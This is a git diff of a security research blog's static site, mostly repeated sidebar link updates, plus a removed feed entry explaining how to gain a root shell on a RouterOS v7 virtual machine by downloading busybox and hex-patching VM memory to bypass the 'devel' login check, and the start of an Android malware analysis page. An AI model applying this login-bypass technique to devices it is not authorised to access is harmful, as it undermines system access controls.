alt="CVSS3.1" /></p> @@ -1895,121 +2500,4 @@ E.g. the last signature from the list above would become `LINECTF{174c96f2c629af <p>지금까지 <strong>RSA</strong> 란 무엇인지, <strong>키 생성</strong>, <strong>암/복호화</strong>, <strong>서명/검증</strong>은 어떻게 이루어지는지 알아보았고, 또 대수학에서의 <strong>준동형 사상(Homomorphism)</strong> 개념을 CTF 에서 자주 출제되는 유형의 RSA 문제에 적용하여 풀어보았다. 이외에도 수많은 방식의 RSA 공격 기법들이 존재하지만 대부분 위 문제 풀이에서 본 것과 같이 수학적인 개념을 가지고 사칙연산만 할 줄 안다면 금방 이해하고 그것을 문제에 적용할 수 있을 것이다.</p> -<p><strong>암호</strong>를 푼다는 것은 <strong>얽히고설킨 실타래를 푸는 것</strong>과도 같다고 생각한다. 처음 문제를 접했을 때는 도무지 어떻게 이것을 풀어야 한다는 건지 감을 잡을 수조차 없지만 천천히 둘러보다 보면 문제를 해결할 수 있는 <strong>실마리</strong>를 잡을 수 있을 것이다. 이 글이 암호학 문제를 푸는 이들에게 좋은 시작점이 되기를 기원하며 글을 마무리하도록 하겠다.</p>박지원Homomorphism in RSAHow to root your RouterOS v7 Virtual Machine2022-06-01T00:00:00+09:002022-06-01T00:00:00+09:00http://ufo.stealien.com/2022-06-01/how-to-root-routeros-ko<h1 id="how-to-root-your-routeros-v7-virtual-machine">How to root your RouterOS v7 Virtual Machine</h1> - -<p>Finding vulnerabilities in RouterOS is tricky, and this is especially because it does not provide a shell environment like ash or bash.</p> - -<p>Many vulnerability researchers working on RouterOS felt the same and found various ways to enable the root shell on RouterOS. Unfortunately, most of the methods are no longer available on the latest RouterOS version.</p> - -<p>Thankfully, there is a way to jailbreak RouterOS v7 using netboot functionality. <a href="https://github.com/adron-s/mtik_initrd_hacks/issues">This method</a> achieves a root shell by booting through a modified kernel image. However, You need an actual RouterBOARD to use this method, and it is a bit complicated process to generate a modified kernel image and network boot through it.</p> - -<p>While researching RouterOS, we eventually wanted to use virtual machines as a testing environment for various reasons. The netboot jailbreak method doesn’t work on virtual machines. So we had to find another way to acheive the root shell, and we did.</p> - -<p>This article suggests a simple trick to get a temporary root shell on RouterOS which can only be used on virtual machines and is easy to use.</p> - -<h2 id="previously-on-routeros">Previously on RouterOS…</h2> - -<p>RouterOS has a hidden “devel” login which is only enabled when specific conditions are met. When enabled, RouterOS gives you an ash shell if you login with id “devel” via telnet. Most of the RouterOS jailbreaking methods focus on enabling the “devel” login.</p> - -<p>Before RouterOS version 6.41, There were two options to enable the “devel” login feature.</p> -<ul> - <li>‘option’ package is installed.</li> - <li>/nova/etc/devel-login file exists.</li> -</ul> - -<p>/nova/etc/devel-login was removed in version 6.41. So the only option left is the ‘option’ package.</p> - -<h2 id="devel-login-on-routeros-v7">‘devel’ login on RouterOS v7</h2> - -<p>When the telnet connection is made, RouterOS uses /nova/bin/login binary for login authentication. This binary contains the code that checks whether the “devel” login option is enabled or not by checking the ‘option’ package.</p> - -<p>/nova/bin/login checks if the ‘option’ package is installed by executing nv::hasOptionPackage function. By analyzing /lib/libumsg.so library, you can see that nv::hasOptionPackage is equaviliant to nv::hasPackage(“option”).</p> - -<p>In RouterOS v7, nv::hasPackage returns true only when the following conditions are met</p> -<ul> - <li>If the target is a symbolic link, it should point to “/bndl/(package_name)” which is located in the read-only file system.</li> - <li>If the target is not a symbolic link, it should be stored in the read-only(squashfs) file system.</li> -</ul> - -<p>It is hard to bypass the nv::hasPackage function unless we have an arbitrary code execution vulnerability. Even if we somehow managed to pass the nv::hasPackage(“option”) check, the login binary explicitly executes “/pckg/option/bin/bash” as shell which does not exist by default. we still need to somehow write the shell binary on the location.</p> - -<h2 id="simple-trick">Simple trick</h2> - -<p>So, bypassing the “option” package verifying code is not easy, Unless we can change the program code itself. But that would require you to modify the code running on the live memory. That… is impossible. Isn’t it?</p> - -<p>Wait, actually it is possible! Of course, it is. It’s a ‘virtual’ machine after all.</p> - -<p>What if the login binary checks for an “ipv6” package instead of the “option” package? What if the login binary executes “/rw/disk/bash” as shell instead of “/pckg/option/bin/bash”?</p> - -<p>We can make that happen.</p> - -<h2 id="how-to-root-your-routeros-vm">How to root your RouterOS VM</h2> - -<p>What you need:</p> -<ul> - <li>Ubuntu VM</li> - <li>RouterOS x86 ISO Image</li> - <li>VMWare Workstation</li> -</ul> - -<p>Step:</p> -<ol> - <li> - <p>First, install RotuerOS on your VM. After the installation, turn the VM off.</p> - </li> - <li> - <p>Attach RouterOS VM’s Disk to Ubuntu VM</p> - </li> - <li> - <p>Boot the Ubuntu VM, and browse into RouterOS Disk’s volume called ‘RouterOS’. Go to /RW/disk/ and execute the following command to download the busybox binary. Exit the Ubuntu VM.</p> - </li> -</ol> - -<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo mkdir </span>busybox <span class="o">&amp;&amp;</span> <span class="nb">cd </span>busybox -<span class="nv">$ </span><span class="nb">sudo </span>wget <span class="nt">-O</span> ash https://www.busybox.net/downloads/binaries/1.31.0-i686-uclibc/busybox_ASH -<span class="nv">$ </span><span class="nb">sudo </span>wget https://www.busybox.net/downloads/binaries/1.31.0-i686-uclibc/busybox -<span class="nv">$ </span><span class="nb">chmod </span>a+x ash busybox -</code></pre></div></div> - -<ol> - <li> - <p>Boot RouterOS VM and make several login attempts with the invalid credential.</p> - </li> - <li> - <p>Suspend the RouterOS VM. Go to the RouterOS VM folder and open vmem file with hex editor.</p> - </li> - <li> - <p>Find &amp; Replace as follows</p> - </li> -</ol> - -<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Original: 00 2F 62 6E 64 6C 2F 00 6F 70 74 69 6F 6E 00 -Replaced: 00 2F 62 6E 64 6C 2F 00 69 70 76 36 00 00 00 - -Original: 00 2F 70 63 6B 67 2F 6F 70 74 69 6F 6E 2F 62 69 6E 2F 62 61 73 68 00 -Replaced: 00 2F 72 77 2F 64 69 73 6B 2F 62 75 73 79 62 6F 78 2F 61 73 68 00 00 -</code></pre></div></div> - -<ol> - <li> - <p>Save the vmem file. Resume the RouterOS VM</p> - </li> - <li> - <p>Login with devel/(admin’s password)</p> - </li> - <li> - <p>You will get a shell. If not, repeat the process from stage 4.</p> - </li> - <li>Execute the following commands to install the busybox. - <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cd</span> /rw/disk/busybox -./busybox <span class="nt">--install</span> <span class="nt">-s</span> <span class="nb">.</span> -<span class="nv">PATH</span><span class="o">=</span><span class="nv">$PATH</span>:/rw/disk/busybox/ -</code></pre></div> </div> - </li> - <li>If everything is done correctly, you should get an ash shell with busybox as the screenshot. -<img src="/assets/2022-06-01-how-to-root-routeros/6d99def97b5f4aa312ca4519056a67ffb624cd4059f38c21bd7f9a08b82c530b.png" alt="picture 4" /></li> -</ol> - -<h2 id="limitation">Limitation</h2> - -<p>This is a ‘simple trick’ method and the shell is not persistent. If you reboot the RouterOS VM, you will have to repeat the process from stage 4.</p>오세준How to root your RouterOS v7 Virtual Machine \ No newline at end of file +<p><strong>암호</strong>를 푼다는 것은 <strong>얽히고설킨 실타래를 푸는 것</strong>과도 같다고 생각한다. 처음 문제를 접했을 때는 도무지 어떻게 이것을 풀어야 한다는 건지 감을 잡을 수조차 없지만 천천히 둘러보다 보면 문제를 해결할 수 있는 <strong>실마리</strong>를 잡을 수 있을 것이다. 이 글이 암호학 문제를 푸는 이들에게 좋은 시작점이 되기를 기원하며 글을 마무리하도록 하겠다.</p>박지원Homomorphism in RSA \ No newline at end of file diff --git a/docs/id/2020-04-13/Introduce.html b/docs/id/2020-04-13/Introduce.html index 8fa20d7..78574d8 100644 --- a/docs/id/2020-04-13/Introduce.html +++ b/docs/id/2020-04-13/Introduce.html @@ -109,22 +109,22 @@

시작합니다

-
Donggyu Kim
+
Hyerim Jeon
- +
- 버그헌팅: 취약점 체이닝의 중요성 + Android Malware : 사마귀 해부학
-
No impact, No bug
+
about Roaming Mantis
@@ -132,23 +132,23 @@

시작합니다

- -
Seokchan Yoon
+ +
Donggyu Kim
- +
- Django, CVE-2023-36053 Potential ReDoS in EmailValidator / URLValidator + 버그헌팅: 취약점 체이닝의 중요성
-
Being Django Security Contributor
+
No impact, No bug
diff --git a/docs/id/2020-04-14/CVE-2020-0674.html b/docs/id/2020-04-14/CVE-2020-0674.html index d145906..cfe3d48 100644 --- a/docs/id/2020-04-14/CVE-2020-0674.html +++ b/docs/id/2020-04-14/CVE-2020-0674.html @@ -513,22 +513,22 @@

Code Execution

-
Donggyu Kim
+
Hyerim Jeon
- +
- 버그헌팅: 취약점 체이닝의 중요성 + Android Malware : 사마귀 해부학
-
No impact, No bug
+
about Roaming Mantis
@@ -536,23 +536,23 @@

Code Execution

- -
Seokchan Yoon
+ +
Donggyu Kim
- +
- Django, CVE-2023-36053 Potential ReDoS in EmailValidator / URLValidator + 버그헌팅: 취약점 체이닝의 중요성
-
Being Django Security Contributor
+
No impact, No bug
diff --git a/docs/id/2020-06-19/Deeplink.html b/docs/id/2020-06-19/Deeplink.html index a606dd4..2bc9d36 100644 --- a/docs/id/2020-06-19/Deeplink.html +++ b/docs/id/2020-06-19/Deeplink.html @@ -250,22 +250,22 @@

5. 기타

-
Donggyu Kim
+
Hyerim Jeon
- +
- 버그헌팅: 취약점 체이닝의 중요성 + Android Malware : 사마귀 해부학
-
No impact, No bug
+
about Roaming Mantis
@@ -273,23 +273,23 @@

5. 기타

- -
Seokchan Yoon
+ +
Donggyu Kim
- +
- Django, CVE-2023-36053 Potential ReDoS in EmailValidator / URLValidator + 버그헌팅: 취약점 체이닝의 중요성
-
Being Django Security Contributor
+
No impact, No bug
diff --git a/docs/id/2020-07-17/iOS.html b/docs/id/2020-07-17/iOS.html index 32d3814..a9af3db 100644 --- a/docs/id/2020-07-17/iOS.html +++ b/docs/id/2020-07-17/iOS.html @@ -187,22 +187,22 @@

4. 대응 방안

-
Donggyu Kim
+
Hyerim Jeon
- +
- 버그헌팅: 취약점 체이닝의 중요성 + Android Malware : 사마귀 해부학
-
No impact, No bug
+
about Roaming Mantis
@@ -210,23 +210,23 @@

4. 대응 방안

- -
Seokchan Yoon
+ +
Donggyu Kim
- +
- Django, CVE-2023-36053 Potential ReDoS in EmailValidator / URLValidator + 버그헌팅: 취약점 체이닝의 중요성
-
Being Django Security Contributor
+
No impact, No bug
diff --git a/docs/id/2020-08-20/cgi_exploit.html b/docs/id/2020-08-20/cgi_exploit.html index 4291b3f..5c2695c 100644 --- a/docs/id/2020-08-20/cgi_exploit.html +++ b/docs/id/2020-08-20/cgi_exploit.html @@ -1117,22 +1117,22 @@

끝내면서

-
Donggyu Kim
+
Hyerim Jeon
- +
- 버그헌팅: 취약점 체이닝의 중요성 + Android Malware : 사마귀 해부학
-
No impact, No bug
+
about Roaming Mantis
@@ -1140,23 +1140,23 @@

끝내면서

- -
Seokchan Yoon
+ +
Donggyu Kim
- +
- Django, CVE-2023-36053 Potential ReDoS in EmailValidator / URLValidator + 버그헌팅: 취약점 체이닝의 중요성
-
Being Django Security Contributor
+
No impact, No bug
diff --git a/docs/id/2020-09-25/bug_hunting.html b/docs/id/2020-09-25/bug_hunting.html index 03bc00b..7d02152 100644 --- a/docs/id/2020-09-25/bug_hunting.html +++ b/docs/id/2020-09-25/bug_hunting.html @@ -279,22 +279,22 @@

복기

-
Donggyu Kim
+
Hyerim Jeon
- +
- 버그헌팅: 취약점 체이닝의 중요성 + Android Malware : 사마귀 해부학
-
No impact, No bug
+
about Roaming Mantis
@@ -302,23 +302,23 @@

복기

- -
Seokchan Yoon
+ +
Donggyu Kim
- +
- Django, CVE-2023-36053 Potential ReDoS in EmailValidator / URLValidator + 버그헌팅: 취약점 체이닝의 중요성
-
Being Django Security Contributor
+
No impact, No bug
diff --git a/docs/id/2020-10-29/can_bus_1.html b/docs/id/2020-10-29/can_bus_1.html index c3d8dc1..801a791 100644 --- a/docs/id/2020-10-29/can_bus_1.html +++ b/docs/id/2020-10-29/can_bus_1.html @@ -515,22 +515,22 @@

Epilogue

-
Donggyu Kim
+
Hyerim Jeon
- +
- 버그헌팅: 취약점 체이닝의 중요성 + Android Malware : 사마귀 해부학
-
No impact, No bug
+
about Roaming Mantis
@@ -538,23 +538,23 @@

Epilogue

- -
Seokchan Yoon
+ +
Donggyu Kim
- +
- Django, CVE-2023-36053 Potential ReDoS in EmailValidator / URLValidator + 버그헌팅: 취약점 체이닝의 중요성
-
Being Django Security Contributor
+
No impact, No bug
diff --git a/docs/id/2020-11-16/japanese_app_security.html b/docs/id/2020-11-16/japanese_app_security.html index f21e65c..261c8f1 100644 --- a/docs/id/2020-11-16/japanese_app_security.html +++ b/docs/id/2020-11-16/japanese_app_security.html @@ -180,22 +180,22 @@
-
Donggyu Kim
+
Hyerim Jeon
- +
- 버그헌팅: 취약점 체이닝의 중요성 + Android Malware : 사마귀 해부학
-
No impact, No bug
+
about Roaming Mantis
@@ -203,23 +203,23 @@
- -
Seokchan Yoon
+ +
Donggyu Kim
- +
- Django, CVE-2023-36053 Potential ReDoS in EmailValidator / URLValidator + 버그헌팅: 취약점 체이닝의 중요성
-
Being Django Security Contributor
+
No impact, No bug
diff --git a/docs/id/2020-11-26/audio_lib_exploit.html b/docs/id/2020-11-26/audio_lib_exploit.html index bca6770..9d15ff2 100644 --- a/docs/id/2020-11-26/audio_lib_exploit.html +++ b/docs/id/2020-11-26/audio_lib_exploit.html @@ -248,22 +248,22 @@

대응방안

-
Donggyu Kim
+
Hyerim Jeon
- +
- 버그헌팅: 취약점 체이닝의 중요성 + Android Malware : 사마귀 해부학
-
No impact, No bug
+
about Roaming Mantis
@@ -271,23 +271,23 @@

대응방안

- -
Seokchan Yoon
+ +
Donggyu Kim
- +
- Django, CVE-2023-36053 Potential ReDoS in EmailValidator / URLValidator + 버그헌팅: 취약점 체이닝의 중요성
-
Being Django Security Contributor
+
No impact, No bug
diff --git a/docs/id/2020-12-23/javascript-prototype-pollution.html b/docs/id/2020-12-23/javascript-prototype-pollution.html index e95157c..70fa4a5 100644 --- a/docs/id/2020-12-23/javascript-prototype-pollution.html +++ b/docs/id/2020-12-23/javascript-prototype-pollution.html @@ -293,22 +293,22 @@

결론

-
Donggyu Kim
+
Hyerim Jeon
- +
- 버그헌팅: 취약점 체이닝의 중요성 + Android Malware : 사마귀 해부학
-
No impact, No bug
+
about Roaming Mantis
@@ -316,23 +316,23 @@

결론

- -
Seokchan Yoon
+ +
Donggyu Kim
- +
- Django, CVE-2023-36053 Potential ReDoS in EmailValidator / URLValidator + 버그헌팅: 취약점 체이닝의 중요성
-
Being Django Security Contributor
+
No impact, No bug
diff --git a/docs/id/2021-01-28/metasploit-ctf-review.html b/docs/id/2021-01-28/metasploit-ctf-review.html index 44b2f38..a45f79a 100644 --- a/docs/id/2021-01-28/metasploit-ctf-review.html +++ b/docs/id/2021-01-28/metasploit-ctf-review.html @@ -277,22 +277,22 @@

References

-
Donggyu Kim
+
Hyerim Jeon
- +
- 버그헌팅: 취약점 체이닝의 중요성 + Android Malware : 사마귀 해부학
-
No impact, No bug
+
about Roaming Mantis
@@ -300,23 +300,23 @@

References

- -
Seokchan Yoon
+ +
Donggyu Kim
- +
- Django, CVE-2023-36053 Potential ReDoS in EmailValidator / URLValidator + 버그헌팅: 취약점 체이닝의 중요성
-
Being Django Security Contributor
+
No impact, No bug
diff --git a/docs/id/2021-02-08/Gnuboard-RCE.html b/docs/id/2021-02-08/Gnuboard-RCE.html index 5f7489f..e8ab38b 100644 --- a/docs/id/2021-02-08/Gnuboard-RCE.html +++ b/docs/id/2021-02-08/Gnuboard-RCE.html @@ -313,22 +313,22 @@

결론

-
Donggyu Kim
+
Hyerim Jeon
- +
- 버그헌팅: 취약점 체이닝의 중요성 + Android Malware : 사마귀 해부학
-
No impact, No bug
+
about Roaming Mantis
@@ -336,23 +336,23 @@

결론

- -
Seokchan Yoon
+ +
Donggyu Kim
- +
- Django, CVE-2023-36053 Potential ReDoS in EmailValidator / URLValidator + 버그헌팅: 취약점 체이닝의 중요성
-
Being Django Security Contributor
+
No impact, No bug
diff --git a/docs/id/2021-07-29/malwareAPK.html b/docs/id/2021-07-29/malwareAPK.html index 67ca177..508c54a 100644 --- a/docs/id/2021-07-29/malwareAPK.html +++ b/docs/id/2021-07-29/malwareAPK.html @@ -402,22 +402,22 @@

4. Kesimpulan

-
Donggyu Kim
+
Hyerim Jeon
- +
- 버그헌팅: 취약점 체이닝의 중요성 + Android Malware : 사마귀 해부학
-
No impact, No bug
+
about Roaming Mantis
@@ -425,23 +425,23 @@

4. Kesimpulan

- -
Seokchan Yoon
+ +
Donggyu Kim
- +
- Django, CVE-2023-36053 Potential ReDoS in EmailValidator / URLValidator + 버그헌팅: 취약점 체이닝의 중요성
-
Being Django Security Contributor
+
No impact, No bug
diff --git a/docs/id/2021-09-02/CVE-2020-26934-phpMyAdmin-Reflected-Cross-site-scripting.html b/docs/id/2021-09-02/CVE-2020-26934-phpMyAdmin-Reflected-Cross-site-scripting.html index 30db99d..e358cd8 100644 --- a/docs/id/2021-09-02/CVE-2020-26934-phpMyAdmin-Reflected-Cross-site-scripting.html +++ b/docs/id/2021-09-02/CVE-2020-26934-phpMyAdmin-Reflected-Cross-site-scripting.html @@ -171,22 +171,22 @@

Sejarah Patch

-
Donggyu Kim
+
Hyerim Jeon
- +
- 버그헌팅: 취약점 체이닝의 중요성 + Android Malware : 사마귀 해부학
-
No impact, No bug
+
about Roaming Mantis
@@ -194,23 +194,23 @@

Sejarah Patch

- -
Seokchan Yoon
+ +
Donggyu Kim
- +
- Django, CVE-2023-36053 Potential ReDoS in EmailValidator / URLValidator + 버그헌팅: 취약점 체이닝의 중요성
-
Being Django Security Contributor
+
No impact, No bug
diff --git a/docs/id/2021-10-13/MikroTik-PostAuth-RCE.html b/docs/id/2021-10-13/MikroTik-PostAuth-RCE.html index 743b697..f73dcbc 100644 --- a/docs/id/2021-10-13/MikroTik-PostAuth-RCE.html +++ b/docs/id/2021-10-13/MikroTik-PostAuth-RCE.html @@ -198,22 +198,22 @@

Kode serangan

-
Donggyu Kim
+
Hyerim Jeon
- +
- 버그헌팅: 취약점 체이닝의 중요성 + Android Malware : 사마귀 해부학
-
No impact, No bug
+
about Roaming Mantis
@@ -221,23 +221,23 @@

Kode serangan

- -
Seokchan Yoon
+ +
Donggyu Kim
- +
- Django, CVE-2023-36053 Potential ReDoS in EmailValidator / URLValidator + 버그헌팅: 취약점 체이닝의 중요성
-
Being Django Security Contributor
+
No impact, No bug
diff --git a/docs/id/2021-12-07/Metasploit-CTF-Review.html b/docs/id/2021-12-07/Metasploit-CTF-Review.html index 565ca77..df27795 100644 --- a/docs/id/2021-12-07/Metasploit-CTF-Review.html +++ b/docs/id/2021-12-07/Metasploit-CTF-Review.html @@ -574,22 +574,22 @@

Review

-
Donggyu Kim
+
Hyerim Jeon
- +
- 버그헌팅: 취약점 체이닝의 중요성 + Android Malware : 사마귀 해부학
-
No impact, No bug
+
about Roaming Mantis
@@ -597,23 +597,23 @@

Review

- -
Seokchan Yoon
+ +
Donggyu Kim
- +
- Django, CVE-2023-36053 Potential ReDoS in EmailValidator / URLValidator + 버그헌팅: 취약점 체이닝의 중요성
-
Being Django Security Contributor
+
No impact, No bug
diff --git a/docs/id/2022-03-15/dirtypipe-review.html b/docs/id/2022-03-15/dirtypipe-review.html index 44912a9..71f67c0 100644 --- a/docs/id/2022-03-15/dirtypipe-review.html +++ b/docs/id/2022-03-15/dirtypipe-review.html @@ -1003,22 +1003,22 @@

DirtyPipe Review

-
Donggyu Kim
+
Hyerim Jeon
- +
- 버그헌팅: 취약점 체이닝의 중요성 + Android Malware : 사마귀 해부학
-
No impact, No bug
+
about Roaming Mantis
@@ -1026,23 +1026,23 @@

DirtyPipe Review

- -
Seokchan Yoon
+ +
Donggyu Kim
- +
- Django, CVE-2023-36053 Potential ReDoS in EmailValidator / URLValidator + 버그헌팅: 취약점 체이닝의 중요성
-
Being Django Security Contributor
+
No impact, No bug
diff --git a/docs/id/2022-04-12/ronin-bridge-vuln-analysis.html b/docs/id/2022-04-12/ronin-bridge-vuln-analysis.html index f6205bc..85f56dc 100644 --- a/docs/id/2022-04-12/ronin-bridge-vuln-analysis.html +++ b/docs/id/2022-04-12/ronin-bridge-vuln-analysis.html @@ -203,22 +203,22 @@

정리하며

-
Donggyu Kim
+
Hyerim Jeon
- +
- 버그헌팅: 취약점 체이닝의 중요성 + Android Malware : 사마귀 해부학
-
No impact, No bug
+
about Roaming Mantis
@@ -226,23 +226,23 @@

정리하며

- -
Seokchan Yoon
+ +
Donggyu Kim
- +
- Django, CVE-2023-36053 Potential ReDoS in EmailValidator / URLValidator + 버그헌팅: 취약점 체이닝의 중요성
-
Being Django Security Contributor
+
No impact, No bug
diff --git a/docs/id/2022-06-01/how-to-root-your-routeros-v7-virtual-machine.html b/docs/id/2022-06-01/how-to-root-your-routeros-v7-virtual-machine.html index 9803d8a..5f32412 100644 --- a/docs/id/2022-06-01/how-to-root-your-routeros-v7-virtual-machine.html +++ b/docs/id/2022-06-01/how-to-root-your-routeros-v7-virtual-machine.html @@ -226,22 +226,22 @@

Limitation

-
Donggyu Kim
+
Hyerim Jeon
- +
- 버그헌팅: 취약점 체이닝의 중요성 + Android Malware : 사마귀 해부학
-
No impact, No bug
+
about Roaming Mantis
@@ -249,23 +249,23 @@

Limitation

- -
Seokchan Yoon
+ +
Donggyu Kim
- +
- Django, CVE-2023-36053 Potential ReDoS in EmailValidator / URLValidator + 버그헌팅: 취약점 체이닝의 중요성
-
Being Django Security Contributor
+
No impact, No bug
diff --git a/docs/id/2022-06-08/homomorphism-in-rsa.html b/docs/id/2022-06-08/homomorphism-in-rsa.html index 92f66ca..954085a 100644 --- a/docs/id/2022-06-08/homomorphism-in-rsa.html +++ b/docs/id/2022-06-08/homomorphism-in-rsa.html @@ -476,22 +476,22 @@

결론

-
Donggyu Kim
+
Hyerim Jeon
- +
- 버그헌팅: 취약점 체이닝의 중요성 + Android Malware : 사마귀 해부학
-
No impact, No bug
+
about Roaming Mantis
@@ -499,23 +499,23 @@

결론

- -
Seokchan Yoon
+ +
Donggyu Kim
- +
- Django, CVE-2023-36053 Potential ReDoS in EmailValidator / URLValidator + 버그헌팅: 취약점 체이닝의 중요성
-
Being Django Security Contributor
+
No impact, No bug
diff --git a/docs/id/2022-06-30/pdf-with-react.html b/docs/id/2022-06-30/pdf-with-react.html index 8e8e7c0..6eb6e4f 100644 --- a/docs/id/2022-06-30/pdf-with-react.html +++ b/docs/id/2022-06-30/pdf-with-react.html @@ -271,22 +271,22 @@

결론

-
Donggyu Kim
+
Hyerim Jeon
- +
- 버그헌팅: 취약점 체이닝의 중요성 + Android Malware : 사마귀 해부학
-
No impact, No bug
+
about Roaming Mantis
@@ -294,23 +294,23 @@

결론

- -
Seokchan Yoon
+ +
Donggyu Kim
- +
- Django, CVE-2023-36053 Potential ReDoS in EmailValidator / URLValidator + 버그헌팅: 취약점 체이닝의 중요성
-
Being Django Security Contributor
+
No impact, No bug
diff --git a/docs/id/2022-06-30/stealien-security-seminar.html b/docs/id/2022-06-30/stealien-security-seminar.html index 14b8987..dba727c 100644 --- a/docs/id/2022-06-30/stealien-security-seminar.html +++ b/docs/id/2022-06-30/stealien-security-seminar.html @@ -226,22 +226,22 @@

Footnotes

-
Donggyu Kim
+
Hyerim Jeon
- +
- 버그헌팅: 취약점 체이닝의 중요성 + Android Malware : 사마귀 해부학
-
No impact, No bug
+
about Roaming Mantis
@@ -249,23 +249,23 @@

Footnotes

- -
Seokchan Yoon
+ +
Donggyu Kim
- +
- Django, CVE-2023-36053 Potential ReDoS in EmailValidator / URLValidator + 버그헌팅: 취약점 체이닝의 중요성
-
Being Django Security Contributor
+
No impact, No bug
diff --git a/docs/id/2022-07-13/llvm-flow-flatten.html b/docs/id/2022-07-13/llvm-flow-flatten.html index a6a9e9c..ae220f5 100644 --- a/docs/id/2022-07-13/llvm-flow-flatten.html +++ b/docs/id/2022-07-13/llvm-flow-flatten.html @@ -290,22 +290,22 @@

전후비교

-
Donggyu Kim
+
Hyerim Jeon
- +
- 버그헌팅: 취약점 체이닝의 중요성 + Android Malware : 사마귀 해부학
-
No impact, No bug
+
about Roaming Mantis
@@ -313,23 +313,23 @@

전후비교

- -
Seokchan Yoon
+ +
Donggyu Kim
- +
- Django, CVE-2023-36053 Potential ReDoS in EmailValidator / URLValidator + 버그헌팅: 취약점 체이닝의 중요성
-
Being Django Security Contributor
+
No impact, No bug
diff --git a/docs/id/2022-10-04/secure-coding-traing-system.html b/docs/id/2022-10-04/secure-coding-traing-system.html index 24bbe68..2ec00d4 100644 --- a/docs/id/2022-10-04/secure-coding-traing-system.html +++ b/docs/id/2022-10-04/secure-coding-traing-system.html @@ -232,22 +232,22 @@

마무리

-
Donggyu Kim
+
Hyerim Jeon
- +
- 버그헌팅: 취약점 체이닝의 중요성 + Android Malware : 사마귀 해부학
-
No impact, No bug
+
about Roaming Mantis
@@ -255,23 +255,23 @@

마무리

- -
Seokchan Yoon
+ +
Donggyu Kim
- +
- Django, CVE-2023-36053 Potential ReDoS in EmailValidator / URLValidator + 버그헌팅: 취약점 체이닝의 중요성
-
Being Django Security Contributor
+
No impact, No bug
diff --git a/docs/id/2022-12-16/analyzing-django-orm-with-1-day.html b/docs/id/2022-12-16/analyzing-django-orm-with-1-day.html index 7439423..0328aa9 100644 --- a/docs/id/2022-12-16/analyzing-django-orm-with-1-day.html +++ b/docs/id/2022-12-16/analyzing-django-orm-with-1-day.html @@ -380,22 +380,22 @@

6. 끝으로..

-
Donggyu Kim
+
Hyerim Jeon
- +
- 버그헌팅: 취약점 체이닝의 중요성 + Android Malware : 사마귀 해부학
-
No impact, No bug
+
about Roaming Mantis
@@ -403,23 +403,23 @@

6. 끝으로..

- -
Seokchan Yoon
+ +
Donggyu Kim
- +
- Django, CVE-2023-36053 Potential ReDoS in EmailValidator / URLValidator + 버그헌팅: 취약점 체이닝의 중요성
-
Being Django Security Contributor
+
No impact, No bug
diff --git a/docs/id/2023-03-19/nite-team-4-operation-castle-ivy-chapter-1.html b/docs/id/2023-03-19/nite-team-4-operation-castle-ivy-chapter-1.html index e145b5f..255a284 100644 --- a/docs/id/2023-03-19/nite-team-4-operation-castle-ivy-chapter-1.html +++ b/docs/id/2023-03-19/nite-team-4-operation-castle-ivy-chapter-1.html @@ -449,22 +449,22 @@

Closing

-
Donggyu Kim
+
Hyerim Jeon
- +
- 버그헌팅: 취약점 체이닝의 중요성 + Android Malware : 사마귀 해부학
-
No impact, No bug
+
about Roaming Mantis
@@ -472,23 +472,23 @@

Closing

- -
Seokchan Yoon
+ +
Donggyu Kim
- +
- Django, CVE-2023-36053 Potential ReDoS in EmailValidator / URLValidator + 버그헌팅: 취약점 체이닝의 중요성
-
Being Django Security Contributor
+
No impact, No bug
diff --git a/docs/id/2023-07-03/django-cve-2023-36053.html b/docs/id/2023-07-03/django-cve-2023-36053.html index ad1192b..720d236 100644 --- a/docs/id/2023-07-03/django-cve-2023-36053.html +++ b/docs/id/2023-07-03/django-cve-2023-36053.html @@ -250,22 +250,22 @@

7. 마무리

-
Donggyu Kim
+
Hyerim Jeon
- +
- 버그헌팅: 취약점 체이닝의 중요성 + Android Malware : 사마귀 해부학
-
No impact, No bug
+
about Roaming Mantis
@@ -273,23 +273,23 @@

7. 마무리

- -
Seokchan Yoon
+ +
Donggyu Kim
- +
- Django, CVE-2023-36053 Potential ReDoS in EmailValidator / URLValidator + 버그헌팅: 취약점 체이닝의 중요성
-
Being Django Security Contributor
+
No impact, No bug
diff --git a/docs/id/2023-07-31/bughunting-vulnerability-chaining-ko.html b/docs/id/2023-07-31/bughunting-vulnerability-chaining-ko.html index d31f318..cedaee9 100644 --- a/docs/id/2023-07-31/bughunting-vulnerability-chaining-ko.html +++ b/docs/id/2023-07-31/bughunting-vulnerability-chaining-ko.html @@ -307,22 +307,22 @@

Conclusion

-
Donggyu Kim
+
Hyerim Jeon
- +
- 버그헌팅: 취약점 체이닝의 중요성 + Android Malware : 사마귀 해부학
-
No impact, No bug
+
about Roaming Mantis
@@ -330,23 +330,23 @@

Conclusion

- -
Seokchan Yoon
+ +
Donggyu Kim
- +
- Django, CVE-2023-36053 Potential ReDoS in EmailValidator / URLValidator + 버그헌팅: 취약점 체이닝의 중요성
-
Being Django Security Contributor
+
No impact, No bug
diff --git "a/docs/id/2023-11-15/Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231-ko.html" "b/docs/id/2023-11-15/Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231-ko.html" new file mode 100644 index 0000000..5effcfa --- /dev/null +++ "b/docs/id/2023-11-15/Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231-ko.html" @@ -0,0 +1,780 @@ + + + + + + + + + + +Android Malware : 사마귀 해부학 + +Android Malware : 사마귀 해부학 | STEALIEN Technical Blog + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+
+
+
+
+
R&D
+
Android Malware : 사마귀 해부학
+
+
+ + Hyerim Jeon +
+
Nov 15, 2023
+
+
+
+
+
+

Android Malware : 사마귀 해부학

+ +


+ +

목차
+—————————————

+
    +
  1. Intro
  2. +
  3. Roaming Mantis?
  4. +
  5. Analysis +
      +
    1. Download & Install
    2. +
    3. Dynamic Dex Loading
    4. +
    5. Behavior Analysis
    6. +
    +
  6. +
  7. Outro
  8. +
+ +


+ +

1. Intro

+ +

19.png

+ +

